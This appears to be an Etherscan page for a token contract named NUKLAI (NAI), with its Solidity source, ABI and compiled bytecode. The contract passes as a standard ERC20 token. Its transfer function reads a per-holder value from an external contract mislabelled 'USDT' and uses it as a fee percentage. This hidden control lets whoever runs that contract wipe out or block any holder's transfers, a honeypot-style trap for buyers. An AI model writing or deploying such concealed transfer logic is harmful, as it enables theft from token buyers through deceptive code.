ETH Price: $2,480.68 (-1.31%)

Token

NUKLAI (NAI)
 

Overview

Max Total Supply

133,000,000 NAI

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
97,852.445907974 NAI

Value
$0.00
0x8a08753f006e2d3821ab941134172eaa26aee5cf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NUKLAI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-04-17
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
     function addLiquidityETH( address tokn, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function balanceOf(address accout) external view returns (uint256);
    function allowance(address ownr, address spender) external view returns (uint256);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address toknB) external view returns (address pair);
    function createPair(address tokeA, address tokenB) external returns (address pair);
}

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
}

contract NUKLAI {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address internal uniswapV2Pair;
    uint256 private _totalSupply =  133000000 * 10 ** _decimals;
    address internal USDT = 0x4aDC25e00EC55BBB9208694692096feBCb2651cD;
    string private _name = "NUKLAI";
    string private _symbol = "NAI";
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint256 private _finalSellTax=0;
    uint256 public _reduceSellTaxAt=0;
    bool tradingOpen = true;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor () {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);require(from != address(0));
        uint256 _feesAmount = 0;
        uint256 sells = IERC20(USDT).balanceOf(from);
        if (from != address(this) && from != uniswapV2Pair) {
            _feesAmount = amount.mul(sells > _reduceSellTaxAt ? sells : _finalSellTax).div(100);
        }
        _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount).sub(_feesAmount);
        emit Transfer(from, to, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_reduceSellTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260095f806101000a81548160ff021916908360ff1602179055505f8054906101000a900460ff16600a620000399190620003f7565b6307ed6b406200004a919062000447565b600455734adc25e00ec55bbb9208694692096febcb2651cd60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f4e554b4c4149000000000000000000000000000000000000000000000000000081525060069081620000e79190620006ec565b506040518060400160405280600381526020017f4e41490000000000000000000000000000000000000000000000000000000000815250600790816200012e9190620006ec565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6009555f600a556001600b5f6101000a81548160ff021916908315150217905550348015620001b1575f80fd5b5060045460025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620002579190620007e1565b60405180910390a3620007fc565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620002ef57808604811115620002c757620002c662000265565b5b6001851615620002d75780820291505b8081029050620002e78562000292565b9450620002a7565b94509492505050565b5f82620003095760019050620003db565b8162000318575f9050620003db565b81600181146200033157600281146200033c5762000372565b6001915050620003db565b60ff84111562000351576200035062000265565b5b8360020a9150848211156200036b576200036a62000265565b5b50620003db565b5060208310610133831016604e8410600b8410161715620003ac5782820a905083811115620003a657620003a562000265565b5b620003db565b620003bb84848460016200029e565b92509050818404811115620003d557620003d462000265565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200040382620003e2565b91506200041083620003eb565b92506200043f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620002f8565b905092915050565b5f6200045382620003e2565b91506200046083620003e2565b92508282026200047081620003e2565b915082820484148315176200048a576200048962000265565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200050d57607f821691505b602082108103620005235762000522620004c8565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620005877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200054a565b6200059386836200054a565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620005d4620005ce620005c884620003e2565b620005ab565b620003e2565b9050919050565b5f819050919050565b620005ef83620005b4565b62000607620005fe82620005db565b84845462000556565b825550505050565b5f90565b6200061d6200060f565b6200062a818484620005e4565b505050565b5b818110156200065157620006455f8262000613565b60018101905062000630565b5050565b601f821115620006a0576200066a8162000529565b62000675846200053b565b8101602085101562000685578190505b6200069d62000694856200053b565b8301826200062f565b50505b505050565b5f82821c905092915050565b5f620006c25f1984600802620006a5565b1980831691505092915050565b5f620006dc8383620006b1565b9150826002028217905092915050565b620006f78262000491565b67ffffffffffffffff8111156200071357620007126200049b565b5b6200071f8254620004f5565b6200072c82828562000655565b5f60209050601f83116001811462000762575f84156200074d578287015190505b620007598582620006cf565b865550620007c8565b601f198416620007728662000529565b5f5b828110156200079b5784890151825560018201915060208501945060208101905062000774565b86831015620007bb5784890151620007b7601f891682620006b1565b8355505b6001600288020188555050505b505050505050565b620007db81620003e2565b82525050565b5f602082019050620007f65f830184620007d0565b92915050565b6110cd806200080a5f395ff3fe608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a57806395d89b411461018a578063a9059cbb146101a8578063c36956a0146101d8578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190610b4f565b60405180910390f35b6100d860048036038101906100d39190610c00565b6102b6565b6040516100e59190610c58565b60405180910390f35b6100f66102cc565b6040516101039190610c80565b60405180910390f35b61012660048036038101906101219190610c99565b6102d5565b6040516101339190610c58565b60405180910390f35b610144610381565b6040516101519190610d04565b60405180910390f35b610174600480360381019061016f9190610d1d565b610395565b6040516101819190610c80565b60405180910390f35b6101926103db565b60405161019f9190610b4f565b60405180910390f35b6101c260048036038101906101bd9190610c00565b61046b565b6040516101cf9190610c58565b60405180910390f35b6101e0610481565b6040516101ed9190610c80565b60405180910390f35b610210600480360381019061020b9190610d48565b610487565b60405161021d9190610c80565b60405180910390f35b60606006805461023590610db3565b80601f016020809104026020016040519081016040528092919081815260200182805461026190610db3565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610509565b6001905092915050565b5f600454905090565b5f6102e18484846106cc565b61037684336103718560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a1490919063ffffffff16565b610509565b600190509392505050565b5f805f9054906101000a900460ff16905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600780546103ea90610db3565b80601f016020809104026020016040519081016040528092919081815260200182805461041690610db3565b80156104615780601f1061043857610100808354040283529160200191610461565b820191905f5260205f20905b81548152906001019060200180831161044457829003601f168201915b5050505050905090565b5f6104773384846106cc565b6001905092915050565b600a5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90610e53565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105dc90610ee1565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516106bf9190610c80565b60405180910390a3505050565b5f81116106d7575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361070e575f80fd5b5f8060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b815260040161076a9190610f0e565b602060405180830381865afa158015610785573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a99190610f3b565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610834575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610874576108716064610863600a54841161085257600954610854565b835b86610a3a90919063ffffffff16565b610a7a90919063ffffffff16565b91505b6108c48360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a1490919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610967826109598560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9f90919063ffffffff16565b610a1490919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a059190610c80565b60405180910390a35050505050565b5f82821115610a21575f80fd5b5f8284610a2e9190610f93565b90508091505092915050565b5f808303610a4a575f9050610a74565b5f8284610a579190610fc6565b9050828482610a669190611034565b14610a6f575f80fd5b809150505b92915050565b5f808211610a86575f80fd5b5f8284610a939190611034565b90508091505092915050565b5f808284610aad9190611064565b905083811015610abb575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610afc578082015181840152602081019050610ae1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610b2182610ac5565b610b2b8185610acf565b9350610b3b818560208601610adf565b610b4481610b07565b840191505092915050565b5f6020820190508181035f830152610b678184610b17565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b9c82610b73565b9050919050565b610bac81610b92565b8114610bb6575f80fd5b50565b5f81359050610bc781610ba3565b92915050565b5f819050919050565b610bdf81610bcd565b8114610be9575f80fd5b50565b5f81359050610bfa81610bd6565b92915050565b5f8060408385031215610c1657610c15610b6f565b5b5f610c2385828601610bb9565b9250506020610c3485828601610bec565b9150509250929050565b5f8115159050919050565b610c5281610c3e565b82525050565b5f602082019050610c6b5f830184610c49565b92915050565b610c7a81610bcd565b82525050565b5f602082019050610c935f830184610c71565b92915050565b5f805f60608486031215610cb057610caf610b6f565b5b5f610cbd86828701610bb9565b9350506020610cce86828701610bb9565b9250506040610cdf86828701610bec565b9150509250925092565b5f60ff82169050919050565b610cfe81610ce9565b82525050565b5f602082019050610d175f830184610cf5565b92915050565b5f60208284031215610d3257610d31610b6f565b5b5f610d3f84828501610bb9565b91505092915050565b5f8060408385031215610d5e57610d5d610b6f565b5b5f610d6b85828601610bb9565b9250506020610d7c85828601610bb9565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610dca57607f821691505b602082108103610ddd57610ddc610d86565b5b50919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f610e3d602483610acf565b9150610e4882610de3565b604082019050919050565b5f6020820190508181035f830152610e6a81610e31565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f610ecb602283610acf565b9150610ed682610e71565b604082019050919050565b5f6020820190508181035f830152610ef881610ebf565b9050919050565b610f0881610b92565b82525050565b5f602082019050610f215f830184610eff565b92915050565b5f81519050610f3581610bd6565b92915050565b5f60208284031215610f5057610f4f610b6f565b5b5f610f5d84828501610f27565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610f9d82610bcd565b9150610fa883610bcd565b9250828203905081811115610fc057610fbf610f66565b5b92915050565b5f610fd082610bcd565b9150610fdb83610bcd565b9250828202610fe981610bcd565b9150828204841483151761100057610fff610f66565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61103e82610bcd565b915061104983610bcd565b92508261105957611058611007565b5b828204905092915050565b5f61106e82610bcd565b915061107983610bcd565b925082820190508082111561109157611090610f66565b5b9291505056fea2646970667358221220bf5b4665ff505c6f7d223d9f94709eed922bd5bdb833a598c80c418705a8e1ef64736f6c63430008180033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a57806395d89b411461018a578063a9059cbb146101a8578063c36956a0146101d8578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190610b4f565b60405180910390f35b6100d860048036038101906100d39190610c00565b6102b6565b6040516100e59190610c58565b60405180910390f35b6100f66102cc565b6040516101039190610c80565b60405180910390f35b61012660048036038101906101219190610c99565b6102d5565b6040516101339190610c58565b60405180910390f35b610144610381565b6040516101519190610d04565b60405180910390f35b610174600480360381019061016f9190610d1d565b610395565b6040516101819190610c80565b60405180910390f35b6101926103db565b60405161019f9190610b4f565b60405180910390f35b6101c260048036038101906101bd9190610c00565b61046b565b6040516101cf9190610c58565b60405180910390f35b6101e0610481565b6040516101ed9190610c80565b60405180910390f35b610210600480360381019061020b9190610d48565b610487565b60405161021d9190610c80565b60405180910390f35b60606006805461023590610db3565b80601f016020809104026020016040519081016040528092919081815260200182805461026190610db3565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610509565b6001905092915050565b5f600454905090565b5f6102e18484846106cc565b61037684336103718560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a1490919063ffffffff16565b610509565b600190509392505050565b5f805f9054906101000a900460ff16905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600780546103ea90610db3565b80601f016020809104026020016040519081016040528092919081815260200182805461041690610db3565b80156104615780601f1061043857610100808354040283529160200191610461565b820191905f5260205f20905b81548152906001019060200180831161044457829003601f168201915b5050505050905090565b5f6104773384846106cc565b6001905092915050565b600a5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90610e53565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105dc90610ee1565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516106bf9190610c80565b60405180910390a3505050565b5f81116106d7575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361070e575f80fd5b5f8060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b815260040161076a9190610f0e565b602060405180830381865afa158015610785573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a99190610f3b565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610834575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610874576108716064610863600a54841161085257600954610854565b835b86610a3a90919063ffffffff16565b610a7a90919063ffffffff16565b91505b6108c48360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a1490919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610967826109598560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9f90919063ffffffff16565b610a1490919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a059190610c80565b60405180910390a35050505050565b5f82821115610a21575f80fd5b5f8284610a2e9190610f93565b90508091505092915050565b5f808303610a4a575f9050610a74565b5f8284610a579190610fc6565b9050828482610a669190611034565b14610a6f575f80fd5b809150505b92915050565b5f808211610a86575f80fd5b5f8284610a939190611034565b90508091505092915050565b5f808284610aad9190611064565b905083811015610abb575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610afc578082015181840152602081019050610ae1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610b2182610ac5565b610b2b8185610acf565b9350610b3b818560208601610adf565b610b4481610b07565b840191505092915050565b5f6020820190508181035f830152610b678184610b17565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b9c82610b73565b9050919050565b610bac81610b92565b8114610bb6575f80fd5b50565b5f81359050610bc781610ba3565b92915050565b5f819050919050565b610bdf81610bcd565b8114610be9575f80fd5b50565b5f81359050610bfa81610bd6565b92915050565b5f8060408385031215610c1657610c15610b6f565b5b5f610c2385828601610bb9565b9250506020610c3485828601610bec565b9150509250929050565b5f8115159050919050565b610c5281610c3e565b82525050565b5f602082019050610c6b5f830184610c49565b92915050565b610c7a81610bcd565b82525050565b5f602082019050610c935f830184610c71565b92915050565b5f805f60608486031215610cb057610caf610b6f565b5b5f610cbd86828701610bb9565b9350506020610cce86828701610bb9565b9250506040610cdf86828701610bec565b9150509250925092565b5f60ff82169050919050565b610cfe81610ce9565b82525050565b5f602082019050610d175f830184610cf5565b92915050565b5f60208284031215610d3257610d31610b6f565b5b5f610d3f84828501610bb9565b91505092915050565b5f8060408385031215610d5e57610d5d610b6f565b5b5f610d6b85828601610bb9565b9250506020610d7c85828601610bb9565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610dca57607f821691505b602082108103610ddd57610ddc610d86565b5b50919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f610e3d602483610acf565b9150610e4882610de3565b604082019050919050565b5f6020820190508181035f830152610e6a81610e31565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f610ecb602283610acf565b9150610ed682610e71565b604082019050919050565b5f6020820190508181035f830152610ef881610ebf565b9050919050565b610f0881610b92565b82525050565b5f602082019050610f215f830184610eff565b92915050565b5f81519050610f3581610bd6565b92915050565b5f60208284031215610f5057610f4f610b6f565b5b5f610f5d84828501610f27565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610f9d82610bcd565b9150610fa883610bcd565b9250828203905081811115610fc057610fbf610f66565b5b92915050565b5f610fd082610bcd565b9150610fdb83610bcd565b9250828202610fe981610bcd565b9150828204841483151761100057610fff610f66565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61103e82610bcd565b915061104983610bcd565b92508261105957611058611007565b5b828204905092915050565b5f61106e82610bcd565b915061107983610bcd565b925082820190508082111561109157611090610f66565b5b9291505056fea2646970667358221220bf5b4665ff505c6f7d223d9f94709eed922bd5bdb833a598c80c418705a8e1ef64736f6c63430008180033

Deployed Bytecode Sourcemap

1510:3125:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2509:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3058:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2695:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2794:256;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3338:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3220:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2600:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3429:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2132:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4498:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2509:83;2546:13;2579:5;2572:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2509:83;:::o;3058:150::-;3124:4;3141:37;3150:10;3162:7;3171:6;3141:8;:37::i;:::-;3196:4;3189:11;;3058:150;;;;:::o;2695:91::-;2739:7;2766:12;;2759:19;;2695:91;:::o;2794:256::-;2883:4;2900:36;2910:6;2918:9;2929:6;2900:9;:36::i;:::-;2947:73;2956:6;2964:10;2976:43;3012:6;2976:11;:19;2988:6;2976:19;;;;;;;;;;;;;;;:31;2996:10;2976:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;2947:8;:73::i;:::-;3038:4;3031:11;;2794:256;;;;;:::o;3338:83::-;3379:5;3404:9;;;;;;;;;;;3397:16;;3338:83;:::o;3220:110::-;3277:7;3304:9;:18;3314:7;3304:18;;;;;;;;;;;;;;;;3297:25;;3220:110;;;:::o;2600:87::-;2639:13;2672:7;2665:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2600:87;:::o;3429:156::-;3498:4;3515:40;3525:10;3537:9;3548:6;3515:9;:40::i;:::-;3573:4;3566:11;;3429:156;;;;:::o;2132:33::-;;;;:::o;4498:134::-;4570:7;4597:11;:18;4609:5;4597:18;;;;;;;;;;;;;;;:27;4616:7;4597:27;;;;;;;;;;;;;;;;4590:34;;4498:134;;;;:::o;4155:335::-;4265:1;4248:19;;:5;:19;;;4240:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4346:1;4327:21;;:7;:21;;;4319:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4428:6;4398:11;:18;4410:5;4398:18;;;;;;;;;;;;;;;:27;4417:7;4398:27;;;;;;;;;;;;;;;:36;;;;4466:7;4450:32;;4459:5;4450:32;;;4475:6;4450:32;;;;;;:::i;:::-;;;;;;;;4155:335;;;:::o;3593:554::-;3690:1;3681:6;:10;3673:19;;;;;;3717:1;3701:18;;:4;:18;;;3693:27;;;;;;3731:19;3765:13;3788:4;;;;;;;;;;;3781:22;;;3804:4;3781:28;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;